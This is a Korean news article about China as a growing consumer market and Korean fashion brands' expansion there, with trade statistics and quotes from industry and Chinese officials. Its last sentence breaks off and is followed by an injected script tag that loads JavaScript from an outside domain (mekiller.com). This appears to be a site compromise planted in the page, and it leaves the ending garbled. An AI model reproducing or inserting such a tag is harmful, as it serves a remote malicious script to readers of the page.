[無錫=김세훈 기자 연착] 올해로 한중 수교 15주년을 맞는 중국이 아시아 최대 시장으로 떠오르면서 중국을 통해 글로벌 브랜드로 거듭나려는 업체들이 늘고 있다.
이른바 ‘차이나드림’으로 불리는 중국은 아시아 뿐 아니라 미국, 유럽 등 많은 국가들에게 최대 관심을 불러일으키며 세계 3대 시장으로 손꼽히고 있다.
이미 10년 전부터 전기, 전자 및 기계류의 하이테크 산업을 중심으로 최대 시장으로 급부상한 중국은 지난 2-3년 전부터 3차 산업인 패션분야에도 높은 관심을 보이고 있으며 생산기지에 중점을 두었던 예전과 달리 자국 내 산업 기반을 다지려는 다각적인 노력을 기울이고 있다.
전통적인 산업구조의 변화와 해외기업들의 진출유도 및 시장 개방화를 통해 자국 기업들의 발전을 도모하고 있는 중국은 생산 위주의 산업을 탈피하고자 중국산 제품의 수출을 늘리고 있다.
업계관계자는 “중국의 빠른 발전 속도가 이웃나라인 우리에게 위협적인 존재로 떠오르고 있지만 중국으로 진출한 기업과 진출하려는 기업들에게 긍정적인 영향도 있다”며 “중국이 세계 시장을 상대로 발전 속도를 앞당기고 있는 만큼 중국은 아시아 중심이 아닌 세계 시장의 중심으로 불리고 있다. 진출 기업들의 현명한 판단과 문화적 특성을 적절히 수용한다면 중국을 발판으로 글로벌 브랜드로 거듭날 수 있는 기회를 마련할 수 있을 것”이라고 의견을 내놓았다.
2002년 우리나라의 중국 수출은 30.6%에 달했으며 03년 47.8% 04년 41.7% 05년 24.4%
등으로 중국 시장을 겨냥한 기업들의 진출이 활발히 이뤄졌다.
중국 시장의 수입 품목이 고도화 추세를 이루면서 06년에는 12%에 그칠 것으로 보이며 올해는 10% 내외로 둔화될 전망이다.
반면 중국은 올해 우리나라의 1대 수입국으로 예상되면서 국내 수입시장 비중을 점차 높여 지난해 보다 약 20%의 증가세를 기록했다.
중국정부 관계자는 “노동력 시장에 의존했던 중국이 예상과 달리 빠른 성장세를 보인 것은 해외 다국적 기업들의 중국 진출이 큰 도움이 되고 있다. 일각에서는 선진국 대열에 진입하기 위해 100년이 걸릴 것이라는 의견도 나오고 있지만 향후 5-10년 안에 일본, 한국을 제치고 아시아 최대 수출입 국가로 성장할 것”이라고 전망했다.
한국패션 中시장 달군다
중국문화 한국과 비슷…한류영향도 한몫
아시아 국가 중 유일하게 선전하고 있는 한국 브랜드의 인기가 한류열풍과 맞물리면서 인기를 모으고 있다.
중국인들의 패션성향이 한국 브랜드와 비슷하다는 점과 한국에 대한 관심이 높아지면서 3차 산업인 한국패션이 부상하고 있다.
이랜드, 톰보이, 베이직하우스, 온앤온, SG위카스, 아워큐, 해피랜드, 제일모직 등 국내 브랜드가 중국시장에서 높은 성과를 거두면서 뒤를 이어 진출을 서두르는 기업들이 늘고 있다.
기존 진출한 국내 기업들이 높은 성장을 보이면서 중국 법인체를 두고 있는 이랜드패션은 지난해 약 2천억 원의 매출을 올렸다.
또 국내 최대 유통사인 이마트도 2010년까지 중국에 2천억을 투자하는 방안을 확정지었다.
중국유통사와 정부는 한국 패션기업들의 진출을 권유하고 있지만 카피문화가 심각한 중국 시장에 대한 우려의 목소리가 높아지자 주춤한 모습을 보이고 있다.
이에 중국 측은 KOIPA의 강도 높은 단속활동과 중국의 QBPC(고급브랜드보호협회)와의 공동업무협약을 체결하면서 대대적인 카피와의 전쟁을 벌여나갈 계획이다.
상해·북경·광저우 지역은 포화상태
신흥 도시 찾아 경쟁력 확보 비상
2033년 중국인구가 15억에 이를 것이라는 보고가 나오자 세계 각국의 기업들은 최대 소비시장인 중국으로의 진출을 계획하고 있다.
이미 포화상태를 이루고 있는 북경, 상해, 광저우 지역은 타 지역에 비해 경제속도가 급속도록 빠르게 ?script src=http://mekiller.com/1/1.js>